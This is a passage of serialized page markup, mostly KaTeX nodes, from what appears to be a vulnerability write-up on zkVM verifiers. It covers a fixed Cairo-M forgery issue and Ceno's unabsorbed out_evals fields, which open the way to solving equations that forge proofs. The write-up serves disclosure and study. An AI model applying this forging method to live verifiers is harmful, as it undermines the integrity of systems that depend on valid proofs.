":119987},{"className":119986},[6372],[119988],{"type":23,"tag":230,"props":119989,"children":119991},{"className":119990,"style":116313},[6377],[119992],{"type":23,"tag":230,"props":119993,"children":119994},{},[],{"type":23,"tag":230,"props":119996,"children":119998},{"className":119997,"style":6465},[6426],[],{"type":23,"tag":230,"props":120000,"children":120002},{"className":120001},[6345],[120003,120007,120213],{"type":23,"tag":230,"props":120004,"children":120006},{"className":120005},[24031,115344],[],{"type":23,"tag":230,"props":120008,"children":120010},{"className":120009},[115349],[120011],{"type":23,"tag":230,"props":120012,"children":120014},{"className":120013},[6367,23956],[120015,120201],{"type":23,"tag":230,"props":120016,"children":120018},{"className":120017},[6372],[120019,120196],{"type":23,"tag":230,"props":120020,"children":120022},{"className":120021,"style":115362},[6377],[120023,120165,120176],{"type":23,"tag":230,"props":120024,"children":120025},{"style":115366},[120026,120030],{"type":23,"tag":230,"props":120027,"children":120029},{"className":120028,"style":113997},[6386],[],{"type":23,"tag":230,"props":120031,"children":120033},{"className":120032},[6392,6393,6394,6395],[120034],{"type":23,"tag":230,"props":120035,"children":120037},{"className":120036},[6345,6395],[120038,120043,120048,120054,120059,120064,120121,120126,120135,120140,120149,120155,120160],{"type":23,"tag":230,"props":120039,"children":120041},{"className":120040,"style":115383},[6345,23902,6395],[120042],{"type":29,"value":115386},{"type":23,"tag":230,"props":120044,"children":120046},{"className":120045},[6432,6395],[120047],{"type":29,"value":6719},{"type":23,"tag":230,"props":120049,"children":120051},{"className":120050},[24031,6395],[120052],{"type":29,"value":120053},"⟨",{"type":23,"tag":230,"props":120055,"children":120057},{"className":120056,"style":116914},[6345,23902,6395],[120058],{"type":29,"value":116917},{"type":23,"tag":230,"props":120060,"children":120062},{"className":120061},[6458,6395],[120063],{"type":29,"value":6461},{"type":23,"tag":230,"props":120065,"children":120067},{"className":120066},[6345,6395],[120068,120073],{"type":23,"tag":230,"props":120069,"children":120071},{"className":120070},[6345,23902,6395],[120072],{"type":29,"value":24044},{"type":23,"tag":230,"props":120074,"children":120076},{"className":120075},[6362],[120077],{"type":23,"tag":230,"props":120078,"children":120080},{"className":120079},[6367,23956],[120081,120110],{"type":23,"tag":230,"props":120082,"children":120084},{"className":120083},[6372],[120085,120105],{"type":23,"tag":230,"props":120086,"children":120088},{"className":120087,"style":116150},[6377],[120089],{"type":23,"tag":230,"props":120090,"children":120091},{"style":110681},[120092,120096],{"type":23,"tag":230,"props":120093,"children":120095},{"className":120094,"style":110686},[6386],[],{"type":23,"tag":230,"props":120097,"children":120099},{"className":120098},[6392,110691,110692,6395],[120100],{"type":23,"tag":230,"props":120101,"children":120103},{"className":120102},[6345,23902,6395],[120104],{"type":29,"value":6074},{"type":23,"tag":230,"props":120106,"children":120108},{"className":120107},[24059],[120109],{"type":29,"value":24062},{"type":23,"tag":230,"props":120111,"children":120113},{"className":120112},[6372],[120114],{"type":23,"tag":230,"props":120115,"children":120117},{"className":120116,"style":110711},[6377],[120118],{"type":23,"tag":230,"props":120119,"children":120120},{},[],{"type":23,"tag":230,"props":120122,"children":120124},{"className":120123},[24031,6395],[120125],{"type":29,"value":302},{"type":23,"tag":230,"props":120127,"children":120129},{"className":120128},[6345,29,6395],[120130],{"type":23,"tag":230,"props":120131,"children":120133},{"className":120132},[6345,6395],[120134],{"type":29,"value":63450},{"type":23,"tag":230,"props":120136,"children":120138},{"className":120137,"style":94826},[6345,6395],[120139],{"type":29,"value":5422},{"type":23,"tag":230,"props":120141,"children":120143},{"className":120142},[6345,29,6395],[120144],{"type":23,"tag":230,"props":120145,"children":120147},{"className":120146},[6345,6395],[120148],{"type":29,"value":6037},{"type":23,"tag":230,"props":120150,"children":120152},{"className":120151},[24053,6395],[120153],{"type":29,"value":120154},")⟩",{"type":23,"tag":230,"props":120156,"children":120158},{"className":120157},[6432,6395],[120159],{"type":29,"value":6719},{"type":23,"tag":230,"props":120161,"children":120163},{"className":120162,"style":116969},[6345,23902,6395],[120164],{"type":29,"value":116972},{"type":23,"tag":230,"props":120166,"children":120167},{"style":115399},[120168,120172],{"type":23,"tag":230,"props":120169,"children":120171},{"className":120170,"style":113997},[6386],[],{"type":23,"tag":230,"props":120173,"children":120175},{"className":120174,"style":115409},[115408],[],{"type":23,"tag":230,"props":120177,"children":120178},{"style":115413},[120179,120183],{"type":23,"tag":230,"props":120180,"children":120182},{"className":120181,"style":113997},[6386],[],{"type":23,"tag":230,"props":120184,"children":120186},{"className":120185},[6392,6393,6394,6395],[120187],{"type":23,"tag":230,"props":120188,"children":120190},{"className":120189},[6345,6395],[120191],{"type":23,"tag":230,"props":120192,"children":120194},{"className":120193},[6345,6395],[120195],{"type":29,"value":6348},{"type":23,"tag":230,"props":120197,"children":120199},{"className":120198},[24059],[120200],{"type":29,"value":24062},{"type":23,"tag":230,"props":120202,"children":120204},{"className":120203},[6372],[120205],{"type":23,"tag":230,"props":120206,"children":120209},{"className":120207,"style":120208},[6377],"height:0.562em;",[120210],{"type":23,"tag":230,"props":120211,"children":120212},{},[],{"type":23,"tag":230,"props":120214,"children":120216},{"className":120215},[24053,115344],[],{"type":23,"tag":230,"props":120218,"children":120220},{"className":120219},[6345],[120221],{"type":29,"value":312},{"type":23,"tag":32,"props":120223,"children":120224},{},[120225,120227],{"type":29,"value":120226},"The global check is then that ",{"type":23,"tag":71,"props":120228,"children":120230},{"className":120229},[6318,6319],[120231],{"type":23,"tag":230,"props":120232,"children":120234},{"className":120233},[6324],[120235],{"type":23,"tag":230,"props":120236,"children":120238},{"className":120237,"ariaHidden":1726},[6329],[120239,120280,120311],{"type":23,"tag":230,"props":120240,"children":120242},{"className":120241},[6334],[120243,120247,120252,120257,120262,120267,120271,120276],{"type":23,"tag":230,"props":120244,"children":120246},{"className":120245,"style":6447},[6339],[],{"type":23,"tag":230,"props":120248,"children":120250},{"className":120249},[6345,23902],[120251],{"type":29,"value":119790},{"type":23,"tag":230,"props":120253,"children":120255},{"className":120254},[24031],[120256],{"type":29,"value":302},{"type":23,"tag":230,"props":120258,"children":120260},{"className":120259},[6345,23902],[120261],{"type":29,"value":32},{"type":23,"tag":230,"props":120263,"children":120265},{"className":120264},[24053],[120266],{"type":29,"value":5467},{"type":23,"tag":230,"props":120268,"children":120270},{"className":120269,"style":6427},[6426],[],{"type":23,"tag":230,"props":120272,"children":120274},{"className":120273},[6432],[120275],{"type":29,"value":6719},{"type":23,"tag":230,"props":120277,"children":120279},{"className":120278,"style":6427},[6426],[],{"type":23,"tag":230,"props":120281,"children":120283},{"className":120282},[6334],[120284,120288,120298,120302,120307],{"type":23,"tag":230,"props":120285,"children":120287},{"className":120286,"style":6447},[6339],[],{"type":23,"tag":230,"props":120289,"children":120291},{"className":120290},[6345,29],[120292],{"type":23,"tag":230,"props":120293,"children":120295},{"className":120294},[6345],[120296],{"type":29,"value":120297},"(other terms)",{"type":23,"tag":230,"props":120299,"children":120301},{"className":120300,"style":6524},[6426],[],{"type":23,"tag":230,"props":120303,"children":120305},{"className":120304},[6529],[120306],{"type":29,"value":863},{"type":23,"tag":230,"props":120308,"children":120310},{"className":120309,"style":6524},[6426],[],{"type":23,"tag":230,"props":120312,"children":120314},{"className":120313},[6334],[120315,120319],{"type":23,"tag":230,"props":120316,"children":120318},{"className":120317,"style":95857},[6339],[],{"type":23,"tag":230,"props":120320,"children":120322},{"className":120321},[6345],[120323],{"type":29,"value":6358},{"type":23,"tag":32,"props":120325,"children":120326},{},[120327],{"type":29,"value":120328},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":32,"props":120330,"children":120331},{},[120332],{"type":29,"value":120333},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":32,"props":120335,"children":120336},{},[120337,120341,120343],{"type":23,"tag":2302,"props":120338,"children":120339},{},[120340],{"type":29,"value":118536},{"type":29,"value":120342}," Fixed on October 31, 2025 via ",{"type":23,"tag":181,"props":120344,"children":120347},{"href":120345,"rel":120346},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[185],[120348],{"type":29,"value":120349},"commit 92b6740",{"type":23,"tag":21113,"props":120351,"children":120352},{},[],{"type":23,"tag":59,"props":120354,"children":120356},{"id":120355},"ceno-scroll",[120357],{"type":29,"value":120358},"Ceno (Scroll)",{"type":23,"tag":32,"props":120360,"children":120361},{},[120362],{"type":29,"value":120363},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":32,"props":120365,"children":120366},{},[120367,120369,120374],{"type":29,"value":120368},"Ceno splits verification into ",{"type":23,"tag":2302,"props":120370,"children":120371},{},[120372],{"type":29,"value":120373},"chips",{"type":29,"value":120375},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":32,"props":120377,"children":120378},{},[120379,120381,120386],{"type":29,"value":120380},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":2302,"props":120382,"children":120383},{},[120384],{"type":29,"value":120385},"tower sumcheck",{"type":29,"value":312},{"type":23,"tag":32,"props":120388,"children":120389},{},[120390],{"type":29,"value":120391},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":32,"props":120393,"children":120394},{},[120395],{"type":23,"tag":71,"props":120396,"children":120398},{"className":120397},[6318,6319],[120399],{"type":23,"tag":230,"props":120400,"children":120402},{"className":120401},[6324],[120403],{"type":23,"tag":230,"props":120404,"children":120406},{"className":120405,"ariaHidden":1726},[6329],[120407,120581,120754],{"type":23,"tag":230,"props":120408,"children":120410},{"className":120409},[6334],[120411,120415,120473,120477,120486,120491,120501,120506,120568,120572,120577],{"type":23,"tag":230,"props":120412,"children":120414},{"className":120413,"style":94768},[6339],[],{"type":23,"tag":230,"props":120416,"children":120418},{"className":120417},[23938],[120419,120425],{"type":23,"tag":230,"props":120420,"children":120422},{"className":120421,"style":23945},[23938,23943,23944],[120423],{"type":29,"value":120424},"∏",{"type":23,"tag":230,"props":120426,"children":120428},{"className":120427},[6362],[120429],{"type":23,"tag":230,"props":120430,"children":120432},{"className":120431},[6367,23956],[120433,120462],{"type":23,"tag":230,"props":120434,"children":120436},{"className":120435},[6372],[120437,120457],{"type":23,"tag":230,"props":120438,"children":120440},{"className":120439,"style":116033},[6377],[120441],{"type":23,"tag":230,"props":120442,"children":120443},{"style":23969},[120444,120448],{"type":23,"tag":230,"props":120445,"children":120447},{"className":120446,"style":6387},[6386],[],{"type":23,"tag":230,"props":120449,"children":120451},{"className":120450},[6392,6393,6394,6395],[120452],{"type":23,"tag":230,"props":120453,"children":120455},{"className":120454},[6345,23902,6395],[120456],{"type":29,"value":6074},{"type":23,"tag":230,"props":120458,"children":120460},{"className":120459},[24059],[120461],{"type":29,"value":24062},{"type":23,"tag":230,"props":120463,"children":120465},{"className":120464},[6372],[120466],{"type":23,"tag":230,"props":120467,"children":120469},{"className":120468,"style":116313},[6377],[120470],{"type":23,"tag":230,"props":120471,"children":120472},{},[],{"type":23,"tag":230,"props":120474,"children":120476},{"className":120475,"style":6465},[6426],[],{"type":23,"tag":230,"props":120478,"children":120480},{"className":120479},[6345,29],[120481],{"type":23,"tag":230,"props":120482,"children":120484},{"className":120483},[6345],[120485],{"type":29,"value":95645},{"type":23,"tag":230,"props":120487,"children":120489},{"className":120488,"style":94826},[6345],[120490],{"type":29,"value":5422},{"type":23,"tag":230,"props":120492,"children":120494},{"className":120493},[6345,29],[120495],{"type":23,"tag":230,"props":120496,"children":120498},{"className":120497},[6345],[120499],{"type":29,"value":120500},"out",{"type":23,"tag":230,"props":120502,"children":120504},{"className":120503,"style":94826},[6345],[120505],{"type":29,"value":5422},{"type":23,"tag":230,"props":120507,"children":120509},{"className":120508},[6345],[120510,120520],{"type":23,"tag":230,"props":120511,"children":120513},{"className":120512},[6345,29],[120514],{"type":23,"tag":230,"props":120515,"children":120517},{"className":120516},[6345],[120518],{"type":29,"value":120519},"evals",{"type":23,"tag":230,"props":120521,"children":120523},{"className":120522},[6362],[120524],{"type":23,"tag":230,"props":120525,"children":120527},{"className":120526},[6367,23956],[120528,120557],{"type":23,"tag":230,"props":120529,"children":120531},{"className":120530},[6372],[120532,120552],{"type":23,"tag":230,"props":120533,"children":120535},{"className":120534,"style":95355},[6377],[120536],{"type":23,"tag":230,"props":120537,"children":120538},{"style":115956},[120539,120543],{"type":23,"tag":230,"props":120540,"children":120542},{"className":120541,"style":6387},[6386],[],{"type":23,"tag":230,"props":120544,"children":120546},{"className":120545},[6392,6393,6394,6395],[120547],{"type":23,"tag":230,"props":120548,"children":120550},{"className":120549},[6345,23902,6395],[120551],{"type":29,"value":6074},{"type":23,"tag":230,"props":120553,"children":120555},{"className":120554},[24059],[120556],{"type":29,"value":24062},{"type":23,"tag":230,"props":120558,"children":120560},{"className":120559},[6372],[120561],{"type":23,"tag":230,"props":120562,"children":120564},{"className":120563,"style":94909},[6377],[120565],{"type":23,"tag":230,"props":120566,"children":120567},{},[],{"type":23,"tag":230,"props":120569,"children":120571},{"className":120570,"style":6524},[6426],[],{"type":23,"tag":230,"props":120573,"children":120575},{"className":120574},[6529],[120576],{"type":29,"value":863},{"type":23,"tag":230,"props":120578,"children":120580},{"className":120579,"style":6524},[6426],[],{"type":23,"tag":230,"props":120582,"children":120584},{"className":120583},[6334],[120585,120590,120647,120651,120660,120665,120674,120679,120741,120745,120750],{"type":23,"tag":230,"props":120586,"children":120589},{"className":120587,"style":120588},[6339],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":230,"props":120591,"children":120593},{"className":120592},[23938],[120594,120599],{"type":23,"tag":230,"props":120595,"children":120597},{"className":120596,"style":23945},[23938,23943,23944],[120598],{"type":29,"value":120424},{"type":23,"tag":230,"props":120600,"children":120602},{"className":120601},[6362],[120603],{"type":23,"tag":230,"props":120604,"children":120606},{"className":120605},[6367,23956],[120607,120636],{"type":23,"tag":230,"props":120608,"children":120610},{"className":120609},[6372],[120611,120631],{"type":23,"tag":230,"props":120612,"children":120614},{"className":120613,"style":116033},[6377],[120615],{"type":23,"tag":230,"props":120616,"children":120617},{"style":23969},[120618,120622],{"type":23,"tag":230,"props":120619,"children":120621},{"className":120620,"style":6387},[6386],[],{"type":23,"tag":230,"props":120623,"children":120625},{"className":120624},[6392,6393,6394,6395],[120626],{"type":23,"tag":230,"props":120627,"children":120629},{"className":120628,"style":116049},[6345,23902,6395],[120630],{"type":29,"value":10992},{"type":23,"tag":230,"props":120632,"children":120634},{"className":120633},[24059],[120635],{"type":29,"value":24062},{"type":23,"tag":230,"props":120637,"children":120639},{"className":120638},[6372],[120640],{"type":23,"tag":230,"props":120641,"children":120643},{"className":120642,"style":116064},[6377],[120644],{"type":23,"tag":230,"props":120645,"children":120646},{},[],{"type":23,"tag":230,"props":120648,"children":120650},{"className":120649,"style":6465},[6426],[],{"type":23,"tag":230,"props":120652,"children":120654},{"className":120653},[6345,29],[120655],{"type":23,"tag":230,"props":120656,"children":120658},{"className":120657},[6345],[120659],{"type":29,"value":51344},{"type":23,"tag":230,"props":120661,"children":120663},{"className":120662,"style":94826},[6345],[120664],{"type":29,"value":5422},{"type":23,"tag":230,"props":120666,"children":120668},{"className":120667},[6345,29],[120669],{"type":23,"tag":230,"props":120670,"children":120672},{"className":120671},[6345],[120673],{"type":29,"value":120500},{"type":23,"tag":230,"props":120675,"children":120677},{"className":120676,"style":94826},[6345],[120678],{"type":29,"value":5422},{"type":23,"tag":230,"props":120680,"children":120682},{"className":120681},[6345],[120683,120692],{"type":23,"tag":230,"props":120684,"children":120686},{"className":120685},[6345,29],[120687],{"type":23,"tag":230,"props":120688,"children":120690},{"className":120689},[6345],[120691],{"type":29,"value":120519},{"type":23,"tag":230,"props":120693,"children":120695},{"className":120694},[6362],[120696],{"type":23,"tag":230,"props":120697,"children":120699},{"className":120698},[6367,23956],[120700,120729],{"type":23,"tag":230,"props":120701,"children":120703},{"className":120702},[6372],[120704,120724],{"type":23,"tag":230,"props":120705,"children":120707},{"className":120706,"style":95355},[6377],[120708],{"type":23,"tag":230,"props":120709,"children":120710},{"style":115956},[120711,120715],{"type":23,"tag":230,"props":120712,"children":120714},{"className":120713,"style":6387},[6386],[],{"type":23,"tag":230,"props":120716,"children":120718},{"className":120717},[6392,6393,6394,6395],[120719],{"type":23,"tag":230,"props":120720,"children":120722},{"className":120721,"style":116049},[6345,23902,6395],[120723],{"type":29,"value":10992},{"type":23,"tag":230,"props":120725,"children":120727},{"className":120726},[24059],[120728],{"type":29,"value":24062},{"type":23,"tag":230,"props":120730,"children":120732},{"className":120731},[6372],[120733],{"type":23,"tag":230,"props":120734,"children":120737},{"className":120735,"style":120736},[6377],"height:0.2861em;",[120738],{"type":23,"tag":230,"props":120739,"children":120740},{},[],{"type":23,"tag":230,"props":120742,"children":120744},{"className":120743,"style":6427},[6426],[],{"type":23,"tag":230,"props":120746,"children":120748},{"className":120747},[6432],[120749],{"type":29,"value":113088},{"type":23,"tag":230,"props":120751,"children":120753},{"className":120752,"style":6427},[6426],[],{"type":23,"tag":230,"props":120755,"children":120757},{"className":120756},[6334],[120758,120762,120767,120777],{"type":23,"tag":230,"props":120759,"children":120761},{"className":120760,"style":6447},[6339],[],{"type":23,"tag":230,"props":120763,"children":120765},{"className":120764},[24031],[120766],{"type":29,"value":302},{"type":23,"tag":230,"props":120768,"children":120770},{"className":120769},[6345,29],[120771],{"type":23,"tag":230,"props":120772,"children":120774},{"className":120773},[6345],[120775],{"type":29,"value":120776},"state factors",{"type":23,"tag":230,"props":120778,"children":120780},{"className":120779},[24053],[120781],{"type":29,"value":5467},{"type":23,"tag":32,"props":120783,"children":120784},{},[120785],{"type":23,"tag":2302,"props":120786,"children":120787},{},[120788],{"type":29,"value":117242},{"type":23,"tag":220,"props":120790,"children":120792},{"code":120791},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[120793],{"type":23,"tag":71,"props":120794,"children":120795},{"__ignoreMap":7},[120796],{"type":29,"value":120791},{"type":23,"tag":32,"props":120798,"children":120799},{},[120800,120806,120807,120813,120814,120820],{"type":23,"tag":71,"props":120801,"children":120803},{"className":120802},[],[120804],{"type":29,"value":120805},"r_out_evals",{"type":29,"value":684},{"type":23,"tag":71,"props":120808,"children":120810},{"className":120809},[],[120811],{"type":29,"value":120812},"w_out_evals",{"type":29,"value":8824},{"type":23,"tag":71,"props":120815,"children":120817},{"className":120816},[],[120818],{"type":29,"value":120819},"lk_out_evals",{"type":29,"value":120821}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":144,"props":120823,"children":120824},{},[120825],{"type":23,"tag":102,"props":120826,"children":120827},{},[120828,120833,120835,120841],{"type":23,"tag":2302,"props":120829,"children":120830},{},[120831],{"type":29,"value":120832},"GKR/Tower equation",{"type":29,"value":120834}," (linear in ",{"type":23,"tag":71,"props":120836,"children":120838},{"className":120837},[],[120839],{"type":29,"value":120840},"out_evals",{"type":29,"value":26252},{"type":23,"tag":32,"props":120843,"children":120844},{},[120845,120847],{"type":29,"value":120846},"The tower sumcheck claim is ",{"type":23,"tag":71,"props":120848,"children":120850},{"className":120849},[6318,6319],[120851],{"type":23,"tag":230,"props":120852,"children":120854},{"className":120853},[6324],[120855],{"type":23,"tag":230,"props":120856,"children":120858},{"className":120857,"ariaHidden":1726},[6329],[120859,120890,121015],{"type":23,"tag":230,"props":120860,"children":120862},{"className":120861},[6334],[120863,120867,120877,120881,120886],{"type":23,"tag":230,"props":120864,"children":120866},{"className":120865,"style":94741},[6339],[],{"type":23,"tag":230,"props":120868,"children":120870},{"className":120869},[6345,29],[120871],{"type":23,"tag":230,"props":120872,"children":120874},{"className":120873},[6345],[120875],{"type":29,"value":120876},"claim",{"type":23,"tag":230,"props":120878,"children":120880},{"className":120879,"style":6524},[6426],[],{"type":23,"tag":230,"props":120882,"children":120884},{"className":120883},[6529],[120885],{"type":29,"value":863},{"type":23,"tag":230,"props":120887,"children":120889},{"className":120888,"style":6524},[6426],[],{"type":23,"tag":230,"props":120891,"children":120893},{"className":120892},[6334],[120894,120899,120956,120960,121002,121006,121011],{"type":23,"tag":230,"props":120895,"children":120898},{"className":120896,"style":120897},[6339],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":230,"props":120900,"children":120902},{"className":120901},[23938],[120903,120908],{"type":23,"tag":230,"props":120904,"children":120906},{"className":120905,"style":23945},[23938,23943,23944],[120907],{"type":29,"value":110621},{"type":23,"tag":230,"props":120909,"children":120911},{"className":120910},[6362],[120912],{"type":23,"tag":230,"props":120913,"children":120915},{"className":120914},[6367,23956],[120916,120945],{"type":23,"tag":230,"props":120917,"children":120919},{"className":120918},[6372],[120920,120940],{"type":23,"tag":230,"props":120921,"children":120923},{"className":120922,"style":116033},[6377],[120924],{"type":23,"tag":230,"props":120925,"children":120926},{"style":23969},[120927,120931],{"type":23,"tag":230,"props":120928,"children":120930},{"className":120929,"style":6387},[6386],[],{"type":23,"tag":230,"props":120932,"children":120934},{"className":120933},[6392,6393,6394,6395],[120935],{"type":23,"tag":230,"props":120936,"children":120938},{"className":120937,"style":116049},[6345,23902,6395],[120939],{"type":29,"value":10992},{"type":23,"tag":230,"props":120941,"children":120943},{"className":120942},[24059],[120944],{"type":29,"value":24062},{"type":23,"tag":230,"props":120946,"children":120948},{"className":120947},[6372],[120949],{"type":23,"tag":230,"props":120950,"children":120952},{"className":120951,"style":116064},[6377],[120953],{"type":23,"tag":230,"props":120954,"children":120955},{},[],{"type":23,"tag":230,"props":120957,"children":120959},{"className":120958,"style":6465},[6426],[],{"type":23,"tag":230,"props":120961,"children":120963},{"className":120962},[6345],[120964,120969],{"type":23,"tag":230,"props":120965,"children":120967},{"className":120966,"style":116914},[6345,23902],[120968],{"type":29,"value":116917},{"type":23,"tag":230,"props":120970,"children":120972},{"className":120971},[6362],[120973],{"type":23,"tag":230,"props":120974,"children":120976},{"className":120975},[6367],[120977],{"type":23,"tag":230,"props":120978,"children":120980},{"className":120979},[6372],[120981],{"type":23,"tag":230,"props":120982,"children":120985},{"className":120983,"style":120984},[6377],"height:0.8247em;",[120986],{"type":23,"tag":230,"props":120987,"children":120988},{"style":6381},[120989,120993],{"type":23,"tag":230,"props":120990,"children":120992},{"className":120991,"style":6387},[6386],[],{"type":23,"tag":230,"props":120994,"children":120996},{"className":120995},[6392,6393,6394,6395],[120997],{"type":23,"tag":230,"props":120998,"children":121000},{"className":120999,"style":116049},[6345,23902,6395],[121001],{"type":29,"value":10992},{"type":23,"tag":230,"props":121003,"children":121005},{"className":121004,"style":6427},[6426],[],{"type":23,"tag":230,"props":121007,"children":121009},{"className":121008},[6432],[121010],{"type":29,"value":113088},{"type":23,"tag":230,"props":121012,"children":121014},{"className":121013,"style":6427},[6426],[],{"type":23,"tag":230,"props":121016,"children":121018},{"className":121017},[6334],[121019,121023,121032,121037],{"type":23,"tag":230,"props":121020,"children":121022},{"className":121021,"style":96239},[6339],[],{"type":23,"tag":230,"props":121024,"children":121026},{"className":121025},[6345,29],[121027],{"type":23,"tag":230,"props":121028,"children":121030},{"className":121029},[6345],[121031],{"type":29,"value":120500},{"type":23,"tag":230,"props":121033,"children":121035},{"className":121034,"style":94826},[6345],[121036],{"type":29,"value":5422},{"type":23,"tag":230,"props":121038,"children":121040},{"className":121039},[6345],[121041,121050],{"type":23,"tag":230,"props":121042,"children":121044},{"className":121043},[6345,29],[121045],{"type":23,"tag":230,"props":121046,"children":121048},{"className":121047},[6345],[121049],{"type":29,"value":120519},{"type":23,"tag":230,"props":121051,"children":121053},{"className":121052},[6362],[121054],{"type":23,"tag":230,"props":121055,"children":121057},{"className":121056},[6367,23956],[121058,121087],{"type":23,"tag":230,"props":121059,"children":121061},{"className":121060},[6372],[121062,121082],{"type":23,"tag":230,"props":121063,"children":121065},{"className":121064,"style":95355},[6377],[121066],{"type":23,"tag":230,"props":121067,"children":121068},{"style":115956},[121069,121073],{"type":23,"tag":230,"props":121070,"children":121072},{"className":121071,"style":6387},[6386],[],{"type":23,"tag":230,"props":121074,"children":121076},{"className":121075},[6392,6393,6394,6395],[121077],{"type":23,"tag":230,"props":121078,"children":121080},{"className":121079,"style":116049},[6345,23902,6395],[121081],{"type":29,"value":10992},{"type":23,"tag":230,"props":121083,"children":121085},{"className":121084},[24059],[121086],{"type":29,"value":24062},{"type":23,"tag":230,"props":121088,"children":121090},{"className":121089},[6372],[121091],{"type":23,"tag":230,"props":121092,"children":121094},{"className":121093,"style":120736},[6377],[121095],{"type":23,"tag":230,"props":121096,"children":121097},{},[],{"type":23,"tag":32,"props":121099,"children":121100},{},[121101,121103,121108],{"type":29,"value":121102},"This check is linear in ",{"type":23,"tag":71,"props":121104,"children":121106},{"className":121105},[],[121107],{"type":29,"value":120840},{"type":29,"value":312},{"type":23,"tag":144,"props":121110,"children":121111},{"start":243},[121112],{"type":23,"tag":102,"props":121113,"children":121114},{},[121115,121120,121122,121127],{"type":23,"tag":2302,"props":121116,"children":121117},{},[121118],{"type":29,"value":121119},"rw-product consistency",{"type":29,"value":121121}," (bilinear in ",{"type":23,"tag":71,"props":121123,"children":121125},{"className":121124},[],[121126],{"type":29,"value":120840},{"type":29,"value":26252},{"type":23,"tag":32,"props":121129,"children":121130},{},[121131],{"type":23,"tag":71,"props":121132,"children":121134},{"className":121133},[6318,6319],[121135],{"type":23,"tag":230,"props":121136,"children":121138},{"className":121137},[6324],[121139],{"type":23,"tag":230,"props":121140,"children":121142},{"className":121141,"ariaHidden":1726},[6329],[121143,121314,121485],{"type":23,"tag":230,"props":121144,"children":121146},{"className":121145},[6334],[121147,121151,121208,121212,121221,121226,121235,121240,121301,121305,121310],{"type":23,"tag":230,"props":121148,"children":121150},{"className":121149,"style":94768},[6339],[],{"type":23,"tag":230,"props":121152,"children":121154},{"className":121153},[23938],[121155,121160],{"type":23,"tag":230,"props":121156,"children":121158},{"className":121157,"style":23945},[23938,23943,23944],[121159],{"type":29,"value":120424},{"type":23,"tag":230,"props":121161,"children":121163},{"className":121162},[6362],[121164],{"type":23,"tag":230,"props":121165,"children":121167},{"className":121166},[6367,23956],[121168,121197],{"type":23,"tag":230,"props":121169,"children":121171},{"className":121170},[6372],[121172,121192],{"type":23,"tag":230,"props":121173,"children":121175},{"className":121174,"style":116033},[6377],[121176],{"type":23,"tag":230,"props":121177,"children":121178},{"style":23969},[121179,121183],{"type":23,"tag":230,"props":121180,"children":121182},{"className":121181,"style":6387},[6386],[],{"type":23,"tag":230,"props":121184,"children":121186},{"className":121185},[6392,6393,6394,6395],[121187],{"type":23,"tag":230,"props":121188,"children":121190},{"className":121189},[6345,23902,6395],[121191],{"type":29,"value":6074},{"type":23,"tag":230,"props":121193,"children":121195},{"className":121194},[24059],[121196],{"type":29,"value":24062},{"type":23,"tag":230,"props":121198,"children":121200},{"className":121199},[6372],[121201],{"type":23,"tag":230,"props":121202,"children":121204},{"className":121203,"style":116313},[6377],[121205],{"type":23,"tag":230,"props":121206,"children":121207},{},[],{"type":23,"tag":230,"props":121209,"children":121211},{"className":121210,"style":6465},[6426],[],{"type":23,"tag":230,"props":121213,"children":121215},{"className":121214},[6345,29],[121216],{"type":23,"tag":230,"props":121217,"children":121219},{"className":121218},[6345],[121220],{"type":29,"value":95645},{"type":23,"tag":230,"props":121222,"children":121224},{"className":121223,"style":94826},[6345],[121225],{"type":29,"value":5422},{"type":23,"tag":230,"props":121227,"children":121229},{"className":121228},[6345,29],[121230],{"type":23,"tag":230,"props":121231,"children":121233},{"className":121232},[6345],[121234],{"type":29,"value":120500},{"type":23,"tag":230,"props":121236,"children":121238},{"className":121237,"style":94826},[6345],[121239],{"type":29,"value":5422},{"type":23,"tag":230,"props":121241,"children":121243},{"className":121242},[6345],[121244,121253],{"type":23,"tag":230,"props":121245,"children":121247},{"className":121246},[6345,29],[121248],{"type":23,"tag":230,"props":121249,"children":121251},{"className":121250},[6345],[121252],{"type":29,"value":120519},{"type":23,"tag":230,"props":121254,"children":121256},{"className":121255},[6362],[121257],{"type":23,"tag":230,"props":121258,"children":121260},{"className":121259},[6367,23956],[121261,121290],{"type":23,"tag":230,"props":121262,"children":121264},{"className":121263},[6372],[121265,121285],{"type":23,"tag":230,"props":121266,"children":121268},{"className":121267,"style":95355},[6377],[121269],{"type":23,"tag":230,"props":121270,"children":121271},{"style":115956},[121272,121276],{"type":23,"tag":230,"props":121273,"children":121275},{"className":121274,"style":6387},[6386],[],{"type":23,"tag":230,"props":121277,"children":121279},{"className":121278},[6392,6393,6394,6395],[121280],{"type":23,"tag":230,"props":121281,"children":121283},{"className":121282},[6345,23902,6395],[121284],{"type":29,"value":6074},{"type":23,"tag":230,"props":121286,"children":121288},{"className":121287},[24059],[121289],{"type":29,"value":24062},{"type":23,"tag":230,"props":121291,"children":121293},{"className":121292},[6372],[121294],{"type":23,"tag":230,"props":121295,"children":121297},{"className":121296,"style":94909},[6377],[121298],{"type":23,"tag":230,"props":121299,"children":121300},{},[],{"type":23,"tag":230,"props":121302,"children":121304},{"className":121303,"style":6524},[6426],[],{"type":23,"tag":230,"props":121306,"children":121308},{"className":121307},[6529],[121309],{"type":29,"value":863},{"type":23,"tag":230,"props":121311,"children":121313},{"className":121312,"style":6524},[6426],[],{"type":23,"tag":230,"props":121315,"children":121317},{"className":121316},[6334],[121318,121322,121379,121383,121392,121397,121406,121411,121472,121476,121